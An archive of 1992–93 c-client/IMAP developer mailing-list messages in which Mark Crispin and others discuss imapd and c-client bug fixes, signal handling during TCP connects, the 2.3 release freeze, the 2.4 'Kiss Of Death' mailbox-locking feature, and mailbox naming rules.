Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA11926; Mon, 26 Oct 92 21:40:26 -0800 Return-Path: Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 1.60.MRC ) id AA12290; Mon, 26 Oct 92 22:40:17 -0700 Date: Mon, 26 Oct 1992 21:32:06 -0800 (PST) From: Mark Crispin Subject: bug discovered in UW imapd server To: c-client Interest List Cc: IMAP Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII In the course of adding support for the IMAP2bis APPEND command to c-client, I discovered that the UW IMAP server didn't properly handle literals from the client to the server. Specifically, the `+' response to prompt for more output did not get transmitted until after the literal was transmitted. This bug did not show up in the current version of c-client. Client literals were only used for passwords in LOGIN and mailbox names in SELECT, and the complete command was sent in one chunk instead of waiting for the `+' response as the specification says. This was an expedient kludge to handle certain bizarre passwords and mailbox names until I implemented it right. Well, I implemented it right today. The bug is fixed in the 2.2 distribution of c-client, now available on ftp.cac.washington.edu as mail/imap.tar.Z (which is a link to imap-2.2.tar.Z). I urge developers to pick up this version as soon as possible, since there will be interoperability problems with support for the new APPEND command (as well as funny characters in passwords and mailbox names) until the older versions of imapd are exterminated. This new version also has the fix for certain base64 conversions outlined by Laurence Lundblade in his announcement to the Pine list, as well as the change to the IMAP client software to do client literals right. It would probably be prudent to hold off on using the new c-client/imap2.c in this new version until you have made sure that the new imapd is deployed. From pinedev@shivax2.cac.washington.edu Mon Oct 26 22:20:59 1992 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA29459; Mon, 26 Oct 92 22:20:59 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA11938; Mon, 26 Oct 92 21:40:41 -0800 Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA11926; Mon, 26 Oct 92 21:40:26 -0800 Return-Path: Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 1.60.MRC ) id AA12290; Mon, 26 Oct 92 22:40:17 -0700 Date: Mon, 26 Oct 1992 21:32:06 -0800 (PST) From: Mark Crispin Subject: bug discovered in UW imapd server To: c-client Interest List Cc: IMAP Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII In the course of adding support for the IMAP2bis APPEND command to c-client, I discovered that the UW IMAP server didn't properly handle literals from the client to the server. Specifically, the `+' response to prompt for more output did not get transmitted until after the literal was transmitted. This bug did not show up in the current version of c-client. Client literals were only used for passwords in LOGIN and mailbox names in SELECT, and the complete command was sent in one chunk instead of waiting for the `+' response as the specification says. This was an expedient kludge to handle certain bizarre passwords and mailbox names until I implemented it right. Well, I implemented it right today. The bug is fixed in the 2.2 distribution of c-client, now available on ftp.cac.washington.edu as mail/imap.tar.Z (which is a link to imap-2.2.tar.Z). I urge developers to pick up this version as soon as possible, since there will be interoperability problems with support for the new APPEND command (as well as funny characters in passwords and mailbox names) until the older versions of imapd are exterminated. This new version also has the fix for certain base64 conversions outlined by Laurence Lundblade in his announcement to the Pine list, as well as the change to the IMAP client software to do client literals right. It would probably be prudent to hold off on using the new c-client/imap2.c in this new version until you have made sure that the new imapd is deployed. From pinedev@shivax2.cac.washington.edu Tue Nov 3 01:21:05 1992 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA22042; Tue, 3 Nov 92 01:21:05 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA24080; Tue, 3 Nov 92 01:20:48 -0800 Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from cc.nsysu.edu.tw by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA24067; Tue, 3 Nov 92 01:20:19 -0800 Received: by cc.nsysu.edu.tw (4.1/SysuNet-1.1-C.C) id ; Tue, 3 Nov 92 17:20:20 CST Date: Tue, 3 Nov 92 17:20:20 CST From: hsu@cc.nsysu.edu.tw (Hsu Li-Cheng) Message-Id: <9211030920.AA00413@cc.nsysu.edu.tw> To: c-client@cac.washington.edu Subject: addition From pinedev@shivax2.cac.washington.edu Fri Nov 13 11:22:37 1992 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA07172; Fri, 13 Nov 92 11:22:37 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA18141; Fri, 13 Nov 92 11:22:17 -0800 Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from madhaus.utcs.utoronto.ca by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA18133; Fri, 13 Nov 92 11:22:11 -0800 Received: from cathaus.utcs.utoronto.ca by madhaus.utcs.utoronto.ca (5.65/1.34) id AA04335; Fri, 13 Nov 92 14:22:09 -0500 Received: by cathaus.utcs.utoronto.ca (4.1/1.34) id AA05269; Fri, 13 Nov 92 14:21:50 EST Message-Id: <9211131921.AA05269@cathaus.utcs.utoronto.ca> To: imap-request@cac.washington.edu, c-client@cac.washington.edu Subject: please add Organization: UTCC Network & Operations Services, Network Development Phone: +1 416 978 6134 Date: Fri, 13 Nov 92 14:21:49 -0500 From: "Eric M. Carroll" Please add eric@utcs.utoronto.ca to the mailing lists. Thanks. Eric Carroll University of Toronto Computing & Communications Network & Operations Services, Network Development From pinedev@shivax2.cac.washington.edu Fri Dec 4 23:12:04 1992 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA15151; Fri, 4 Dec 92 23:12:04 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA23948; Fri, 4 Dec 92 23:11:49 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA23936; Fri, 4 Dec 92 23:11:22 -0800 Return-Path: Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 1.60.MRC ) id AA06089; Fri, 4 Dec 92 23:11:13 -0800 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA11308; Fri, 4 Dec 92 23:11:05 -0800 Date: Fri, 4 Dec 1992 23:00:25 -0800 (PST) From: Mark Crispin Subject: Bugfix to the `Bogus entry in new cache list' crash To: dmandell@saintmarys.edu Cc: pine-info@cac.washington.edu, c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="16816888-2078917053-723539469:#10458" --16816888-2078917053-723539469:#10458 Content-Type: TEXT/PLAIN; charset=US-ASCII The MIME-attached difference file fixes a bug in c-client's berkeley mail driver (bezerk.c) which caused a crash with the message `Bogus entry in new cache list' when it encounted a mailbox that had empty messages such as in this example (I have inserted leading spaces to prevent possible confusion): From <@UICVM.UIC.EDU:WMST-L@UMDD.BITNET> Fri Dec 4 07:08 EST 1992 From <@UICVM.UIC.EDU:WMST-L@UMDD.BITNET> Fri Dec 4 07:23 EST 1992 From <@UICVM.UIC.EDU:WMST-L@UMDD.BITNET> Fri Dec 4 07:27 EST 1992 From <@pucc.PRINCETON.EDU:SBN@INDYCMS.BITNET> Fri Dec 4 07:30 EST 1992 From albr8047@jade.saintmarys.edu Fri Dec 4 09:58 EST 1992 When the mailbox is rewritten by c-client, two additional newlines will be inserted as well as a Status and X-Status line. Thanks to Dan Mandell for giving me excellent sample data which reproduced the problem. This problem was evidentally caused by a disk full condition on their HP-UX system, leading to appends to the mailbox of the `From ' headers but not the actual mail data. This fix is also in the latest mail/imap.tar.Z on ftp.cac.washington.edu. -- Mark -- --16816888-2078917053-723539469:#10458 Content-Type: APPLICATION/OCTET-DATA; NAME="bezerk.diff" Content-Transfer-Encoding: BASE64 Content-Description: attached file KioqIGJlemVyay5jLm9sZAlGcmkgRGVjICA0IDE2OjIyOjIwIDE5OTIKLS0t IGJlemVyay5jCUZyaSBEZWMgIDQgMjI6NTE6MTIgMTk5MgoqKioqKioqKioq KioqKioKKioqIDEyODEsMTI5MCAqKioqCiAgCWlmIChlKSBqID0gKGUgLSBz KSAtIDE7CS8qIGNhbGN1bGF0ZSBtZXNzYWdlIGxlbmd0aCAqLwogIAllbHNl IGogPSBzdHJsZW4gKHMpIC0gMTsvKiBvdGhlcndpc2UgaXMgcmVtYWluZGVy IG9mIGRhdGEgKi8KICAJaWYgKG0pIHsJCS8qIG5ldyBjYWNoZSBuZWVkZWQs IGhhdmUgcHJldmlvdXMgZGF0YT8gKi8KISAJICBuLT5oZWFkZXIgPSAoY2hh ciAqKSBmc19nZXQgKHNpemVvZiAoRklMRUNBQ0hFKSArIGopOwogIAkgIG4g PSAoRklMRUNBQ0hFICopIG4tPmhlYWRlcjsKICAJfQohIAllbHNlIG0gPSBu ID0gKEZJTEVDQUNIRSAqKSBmc19nZXQgKHNpemVvZiAoRklMRUNBQ0hFKSAr IGopOwogIAkJCQkvKiBjb3B5IG1lc3NhZ2UgZGF0YSAqLwogIAlzdHJuY3B5 IChuLT5pbnRlcm5hbCxzLGopOwogIAluLT5pbnRlcm5hbFtqXSA9ICdcMCc7 Ci0tLSAxMjgxLDEyOTAgLS0tLQogIAlpZiAoZSkgaiA9IChlIC0gcykgLSAx OwkvKiBjYWxjdWxhdGUgbWVzc2FnZSBsZW5ndGggKi8KICAJZWxzZSBqID0g c3RybGVuIChzKSAtIDE7Lyogb3RoZXJ3aXNlIGlzIHJlbWFpbmRlciBvZiBk YXRhICovCiAgCWlmIChtKSB7CQkvKiBuZXcgY2FjaGUgbmVlZGVkLCBoYXZl IHByZXZpb3VzIGRhdGE/ICovCiEgCSAgbi0+aGVhZGVyID0gKGNoYXIgKikg ZnNfZ2V0IChzaXplb2YgKEZJTEVDQUNIRSkgKyBqICsgMSk7CiAgCSAgbiA9 IChGSUxFQ0FDSEUgKikgbi0+aGVhZGVyOwogIAl9CiEgCWVsc2UgbSA9IG4g PSAoRklMRUNBQ0hFICopIGZzX2dldCAoc2l6ZW9mIChGSUxFQ0FDSEUpICsg aiArIDEpOwogIAkJCQkvKiBjb3B5IG1lc3NhZ2UgZGF0YSAqLwogIAlzdHJu Y3B5IChuLT5pbnRlcm5hbCxzLGopOwogIAluLT5pbnRlcm5hbFtqXSA9ICdc MCc7CioqKioqKioqKioqKioqKgoqKiogMTMyOCwxMzM0ICoqKioKICAgIGZv ciAoaSA9IHN0cmVhbS0+bm1zZ3MsIG4gPSBtOyBpIDwgbm1zZ3M7IGkrKykg ewogICAgICBMT0NBTC0+bXNnc1tpXSA9IG0gPSBuOwkvKiBzZXQgY2FjaGUs IGFuZCBuZXh0IGNhY2hlIHBvaW50ZXIgKi8KICAgICAgbiA9IChGSUxFQ0FD SEUgKikgbi0+aGVhZGVyOwohICAgICBpZiAoISgocyA9IG0tPmludGVybmFs KSAmJiBWQUxJRCkpIGZhdGFsICgiQm9ndXMgZW50cnkgaW4gbmV3IGNhY2hl IGxpc3QiKTsKICAgICAgbS0+aGVhZGVyID0gcyA9ICsrdDsJLyogcG9pbnRl ciB0byBtZXNzYWdlIGhlYWRlciAqLwogICAgICBtLT5oZWFkZXJzaXplIC09 IG0tPmhlYWRlciAtIG0tPmludGVybmFsOwogICAgICBtLT5ib2R5ID0gTklM OwkJLyogYXNzdW1lIG5vIGJvZHkgYXMgeWV0ICovCi0tLSAxMzI4LDEzNDAg LS0tLQogICAgZm9yIChpID0gc3RyZWFtLT5ubXNncywgbiA9IG07IGkgPCBu bXNnczsgaSsrKSB7CiAgICAgIExPQ0FMLT5tc2dzW2ldID0gbSA9IG47CS8q IHNldCBjYWNoZSwgYW5kIG5leHQgY2FjaGUgcG9pbnRlciAqLwogICAgICBu ID0gKEZJTEVDQUNIRSAqKSBuLT5oZWFkZXI7CiEgICAgIC8qIFRoaXMgaXMg YSBidWd0cmFwIGZvciBib2dvbnMgaW4gdGhlIG5ldyBtZXNzYWdlIGNhY2hl LCB3aGljaCBtYXkgaGFwcGVuCiEgICAgICAqIGlmIG1lbW9yeSBpcyBjb3Jy dXB0ZWQuICBOb3RlIHRoYXQgaW4gdGhlIGNhc2Ugb2YgYSB0b3RhbGx5IGVt cHR5CiEgICAgICAqIG1lc3NhZ2UsIGEgbmV3bGluZSBpcyBhcHBlbmRlZCBh bmQgY291bnRzIGFkanVzdGVkLgohICAgICAgKi8KISAgICAgaWYgKCghKChz ID0gbS0+aW50ZXJuYWwpICYmIFZBTElEKSkgJiYKISAJIShzICYmICFzdHJj aHIgKHMsJ1xuJykgJiYgc3RyY2F0IChzLCJcbiIpICYmIFZBTElEICYmCiEg CSAgbS0+aGVhZGVyc2l6ZSsrKSkgZmF0YWwgKCJCb2d1cyBlbnRyeSBpbiBu ZXcgY2FjaGUgbGlzdCIpOwogICAgICBtLT5oZWFkZXIgPSBzID0gKyt0Owkv KiBwb2ludGVyIHRvIG1lc3NhZ2UgaGVhZGVyICovCiAgICAgIG0tPmhlYWRl cnNpemUgLT0gbS0+aGVhZGVyIC0gbS0+aW50ZXJuYWw7CiAgICAgIG0tPmJv ZHkgPSBOSUw7CQkvKiBhc3N1bWUgbm8gYm9keSBhcyB5ZXQgKi8K --16816888-2078917053-723539469:#10458-- From pinedev@shivax2.cac.washington.edu Fri Dec 11 15:00:15 1992 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA18313; Fri, 11 Dec 92 15:00:15 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA04670; Fri, 11 Dec 92 15:00:43 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA04650; Fri, 11 Dec 92 15:00:07 -0800 Return-Path: Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 1.60.MRC ) id AA01803; Fri, 11 Dec 92 14:59:11 -0800 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA04157; Fri, 11 Dec 92 14:59:05 -0800 Date: Fri, 11 Dec 1992 14:47:59 -0800 (PST) From: Mark Crispin Subject: MIME-Version after Content-Type bug in Pine To: pine-info@cac.washington.edu Cc: c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Thanks to data provided to me by Mike Seibel that demonstrated the bug, I was able to find a bug in the header parsing code in c-client and fix it. This fixes the problem that the fellow in Finland reported. I have just updated the mail/imap.tar.Z c-client distribution on ftp.cac.washington.edu to incorporate this bugfix. Problem: Messages in which the MIME-Version: header occurs as the line immediately after the Content-Type: header are not recognized and parsed as MIME. If the MIME-Version: header occurs later in the header, everything works. Diagnosis: The code to scan the remainder of the header for the string `MIME-Version' prefixes the search string with a newline to make sure it only sees ones that start a line. Unfortunately, it starts the search at the first character of the next line, instead of at the newline that terminates the current header line. Solution: Begin the search a character earlier. In routine rfc822_parse_msg() in rfc822.c, there is the following code: case 'C': /* possible cc: or Content-*/ if (!strcmp (tmp+1,"C")) rfc822_parse_adrlist (&env->cc,d,host); else if ((tmp[1] == 'O') && (tmp[2] == 'N') && (tmp[3] == 'T') && (tmp[4] == 'E') && (tmp[5] == 'N') && (tmp[6] == 'T') && (tmp[7] == '-') && body && (MIMEp || (search (s-1,i,"\012MIME-Version",(long) 13)))) rfc822_parse_content_header (body,tmp+8,d); break; Note the ``s-1'' in the call to search(). Version with the bug have ``s'' instead. Change the ``s'' to ``s-1'' and rebuild. From pinedev@shivax2.cac.washington.edu Tue Jan 19 13:08:21 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA09430; Tue, 19 Jan 93 13:08:21 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA26902; Tue, 19 Jan 93 13:08:00 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Delphi.CS.UCLA.EDU by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA26896; Tue, 19 Jan 93 13:07:58 -0800 Received: from twinsun.UUCP by delphi.cs.ucla.edu (Sendmail 5.61d+YP/3.21ns) id AA21164; Tue, 19 Jan 93 13:07:56 -0800 Received: from set.twinsun.com by twinsun.com (4.1/SMI-4.1) id AA14519; Tue, 19 Jan 93 13:03:13 PST Received: by set.twinsun.com (4.1/SMI-4.1) id AA15829; Tue, 19 Jan 93 13:03:11 PST Date: Tue, 19 Jan 93 13:03:11 PST From: makr@twinsun.com (Makr Keasling) Message-Id: <9301192103.AA15829@set.twinsun.com> To: c-client@cac.washington.edu Subject: EINTR received during connect when opening a remote folder. Cc: mrc@cac.washington.edu Here is the error message: !! Can't connect to set,143: Interrupted system call my fix is to: MAILSTREAM *my_mail_open (MAILSTREAM *stream, char *mailbox) { int mask = sigblock (sigmask (SIGCHLD)); stream = mail_open (stream, mailbox, 0); sigsetmask (mask); return stream; } I need to receive SIGCHLD's because I am running processes in the "background" and need to know when they are finished. The SIGCHLD that is received is from the process that gets forked when trying to connect via /etc/rimapd. The problem occurs when network latency is high. I would like to know if there is a better, more portable solution to this problem. Mark Keasling makr@twinsun.com From pinedev@shivax2.cac.washington.edu Wed Jan 20 22:47:35 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA25164; Wed, 20 Jan 93 22:47:35 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA11406; Wed, 20 Jan 93 22:47:28 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA11400; Wed, 20 Jan 93 22:47:27 -0800 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 2.26 ) id AA06676; Wed, 20 Jan 93 22:47:20 -0800 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA00461; Wed, 20 Jan 93 22:47:11 -0800 Date: Wed, 20 Jan 1993 22:35:58 -0800 (PST) From: Mark Crispin Subject: re: EINTR received during connect when opening a remote folder. To: Makr Keasling Cc: c-client Interest List In-Reply-To: <9301192103.AA15829@set.twinsun.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 19 Jan 93 13:03:11 PST, Makr Keasling wrote: > I need to receive SIGCHLD's because I am running processes in the > "background" > and need to know when they are finished. The SIGCHLD that is received is > from the process that gets forked when trying to connect via /etc/rimapd. > The problem occurs when network latency is high. > > I would like to know if there is a better, more portable solution to this > problem. You probably have to defer any signal which may adversely impact TCP every time you call c-client. I'm sure SIGCHLD isn't the only one; nor is TCP open the only thing that can be adversely impacted by a signal at the wrong time. This is a deficiency in the Unix kernel. Ideally, a signal should just call the signal handler and let you resume the TCP system call (perhaps by backing out into user mode so redoing the system call resumes the operation). Very few operating systems do this right; ITS (R.I.P.) is the only one I know of that did. ;-( One possible way of dealing with the problem is by having the c-client part of your application run in a separate child, so it would never get SIGCHLDs. I don't know how badly this may tangle your application though. -- Mark -- From pinedev@shivax2.cac.washington.edu Mon Feb 15 20:54:32 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA05294; Mon, 15 Feb 93 20:54:32 -0800 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA06079; Mon, 15 Feb 93 20:54:12 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA06073; Mon, 15 Feb 93 20:54:11 -0800 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 2.26 ) id AA08521; Mon, 15 Feb 93 20:54:06 -0800 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA00743; Mon, 15 Feb 93 20:54:01 -0800 Date: Mon, 15 Feb 1993 20:23:15 -0800 (PST) From: Mark Crispin Subject: c-client 2.3 frozen; 2.4 started To: c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Version 2.3 of the IMAP toolkit has been frozen. It has, as of this writing, no known bugs. Besides bugfixes from 2.2 (frozen last October 26), 2.3 has the following major features: . Implementation of the new mailbox naming rules in imap/Naming.TXT. Note that these have tripped up a few people; so please read this document carefully. . Subscription management for mailboxes and bboards is now implemented. . The ``ms'' demo client supports the mailbox management features (create, delete, rename, subscribe, unsubscribe). . The IMAP server now supports PARTIAL fetching, and has a dummy for PURGE, making it fully IMAP2bis compliant. . Berkeley parser now handles 10 different formats of ``From '' line. . NNTP client implemented for Unix and for DOS. The mailbox syntax is *[host]newsgroup . SUN-OS port has its own version of strstr(), since the one provided by SUN is buggy and extremely slow. A full list is in imap/Updates.DOC. - - - - - The first version of 2.4 is now available; note that this is NOT a stable or final version of 2.4!! 2.4 begins with an implementation of Kiss Of Death for Berkeley/mbox mailbox streams. If a process attempts to open a Berkeley mailbox that is already open and locked read/write by another process, it will send a SIGUSR2 signal as a ``kiss of death'' to the process which has it open. If the other process releases the mailbox within 15 seconds, the process sending the KOD will take over the read/write lock. This is intended to help the annoying ``mailbox already open by another process, access is read-only'' condition when the other process is an abandoned or lost imapd or Pine. The action taken upon receipt of a KOD depends upon the main program. At this writing (8:40PM on February 16) only imapd has a KOD handler. If it has been more than 2 minutes since the last IMAP operation, imapd will relenquish the read/write lock and go read-only on the stream. imapd will continue to run until its autologout timer (currently 30 minutes from the time of the last IMAP operation) expires. I'm not sure precisely what sort of action Pine will take when it gets a KOD, but I'm sure the Pine UA folks will do something neat now that they're no longer waiting on me. It is also now possible in 2.4 to change a read/write stream into a readonly stream. If anyone using c-client is currently using SIGUSR2 for some other purpose, please get in touch with me right away while there's still the opportunity to go with some other mechanism. Other items likely to go into subsequent edits of 2.4: . Disconnected operation extensions to IMAP2bis (more on this to come on the IMAP list) . Possible conversion of the tenex driver to not use much memory at all (at the expense of possible slower searches). . Possible mechanism to import a Berkeley mbox folder to DOS. . Support for smail-style `` remote from node'' suffix in mbox folders. . Possible support for the new SVR4 ``Content-Length'' header (this may be a problem since it could slow down Berkeley mbox parsing for everyone else). . Possible MMDF folder support. -- Mark -- From pinedev@shivax2.cac.washington.edu Mon Feb 15 21:25:30 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA05612; Mon, 15 Feb 93 21:25:30 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA15594; Mon, 15 Feb 93 21:25:24 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva2.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA15588; Mon, 15 Feb 93 21:25:23 -0800 Received: by shiva2.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA21117; Mon, 15 Feb 93 21:25:22 -0800 Date: Mon, 15 Feb 1993 21:20:04 -0800 (PST) From: Terry Gray Subject: Re: c-client 2.3 frozen; 2.4 started To: Mark Crispin Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Just a small caveat for all interested parties: the mailbox naming rules and syntax decisions (e.g. [host]) should be considered work in progress, and may well change. Hopefully these issues will get nailed down in the next two weeks. -teg On Mon, 15 Feb 1993, Mark Crispin wrote: > Version 2.3 of the IMAP toolkit has been frozen. It has, as of this writing, > no known bugs. Besides bugfixes from 2.2 (frozen last October 26), 2.3 has > the following major features: > . Implementation of the new mailbox naming rules in imap/Naming.TXT. Note > that these have tripped up a few people; so please read this document > carefully. > . Subscription management for mailboxes and bboards is now implemented. > . The ``ms'' demo client supports the mailbox management features (create, > delete, rename, subscribe, unsubscribe). > . The IMAP server now supports PARTIAL fetching, and has a dummy for PURGE, > making it fully IMAP2bis compliant. > . Berkeley parser now handles 10 different formats of ``From '' line. > . NNTP client implemented for Unix and for DOS. The mailbox syntax is > *[host]newsgroup > . SUN-OS port has its own version of strstr(), since the one provided by SUN > is buggy and extremely slow. > > A full list is in imap/Updates.DOC. > > - - - - - > > The first version of 2.4 is now available; note that this is NOT a stable or > final version of 2.4!! > > 2.4 begins with an implementation of Kiss Of Death for Berkeley/mbox mailbox > streams. If a process attempts to open a Berkeley mailbox that is already > open and locked read/write by another process, it will send a SIGUSR2 signal > as a ``kiss of death'' to the process which has it open. If the other process > releases the mailbox within 15 seconds, the process sending the KOD will take > over the read/write lock. This is intended to help the annoying ``mailbox > already open by another process, access is read-only'' condition when the > other process is an abandoned or lost imapd or Pine. > > The action taken upon receipt of a KOD depends upon the main program. At this > writing (8:40PM on February 16) only imapd has a KOD handler. If it has been > more than 2 minutes since the last IMAP operation, imapd will relenquish the > read/write lock and go read-only on the stream. imapd will continue to run > until its autologout timer (currently 30 minutes from the time of the last > IMAP operation) expires. > > I'm not sure precisely what sort of action Pine will take when it gets a KOD, > but I'm sure the Pine UA folks will do something neat now that they're no > longer waiting on me. > > It is also now possible in 2.4 to change a read/write stream into a readonly > stream. > > If anyone using c-client is currently using SIGUSR2 for some other purpose, > please get in touch with me right away while there's still the opportunity to > go with some other mechanism. > > Other items likely to go into subsequent edits of 2.4: > . Disconnected operation extensions to IMAP2bis (more on this to come on the > IMAP list) > . Possible conversion of the tenex driver to not use much memory at all (at > the expense of possible slower searches). > . Possible mechanism to import a Berkeley mbox folder to DOS. > . Support for smail-style `` remote from node'' suffix in mbox folders. > . Possible support for the new SVR4 ``Content-Length'' header (this may be a > problem since it could slow down Berkeley mbox parsing for everyone else). > . Possible MMDF folder support. > > -- Mark -- > From pinedev@shivax2.cac.washington.edu Tue Feb 16 19:48:13 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA02226; Tue, 16 Feb 93 19:48:13 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA07354; Tue, 16 Feb 93 19:47:57 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO2.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA07303; Tue, 16 Feb 93 19:47:50 -0800 Received: by po2.andrew.cmu.edu (5.54/3.15) id for c-client@cac.washington.edu; Tue, 16 Feb 93 22:47:44 EST Received: via switchmail; Tue, 16 Feb 1993 22:47:43 -0500 (EST) Received: from hogtown.andrew.cmu.edu via qmail ID ; Tue, 16 Feb 1993 22:45:50 -0500 (EST) Received: from hogtown.andrew.cmu.edu via qmail ID ; Tue, 16 Feb 1993 22:45:40 -0500 (EST) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4c.411 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Tue, 16 Feb 1993 22:45:34 -0500 (EST) Message-Id: Date: Tue, 16 Feb 1993 22:45:34 -0500 (EST) From: John Gardiner Myers To: c-client@cac.washington.edu Subject: Naming rules w.r.t. ambiguous names Beak: is Not I disagree with the following rule in Naming.txt: "c-client will look for ambiguous names ONLY in the same technology as the INBOX mailbox." C-client should look for ambiguous names in all technologies. Each technology must have the ability to determine whether or not it has an object of that name. When two or more technologies have an object with the same name it is an implementation issue to determine which has precedence. It is reasonable to state the rule that ambiguous names will only be CREATED in the same technology as the INBOX mailbox. _.John From pinedev@shivax2.cac.washington.edu Tue Feb 16 20:06:45 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA02507; Tue, 16 Feb 93 20:06:45 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA22046; Tue, 16 Feb 93 20:06:29 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA22002; Tue, 16 Feb 93 20:06:24 -0800 Received: by andrew.cmu.edu (5.54/3.15) id for c-client@cac.washington.edu; Tue, 16 Feb 93 23:06:19 EST Received: via switchmail; Tue, 16 Feb 1993 23:06:19 -0500 (EST) Received: from hogtown.andrew.cmu.edu via qmail ID ; Tue, 16 Feb 1993 23:05:51 -0500 (EST) Received: from hogtown.andrew.cmu.edu via qmail ID ; Tue, 16 Feb 1993 23:05:47 -0500 (EST) Received: from 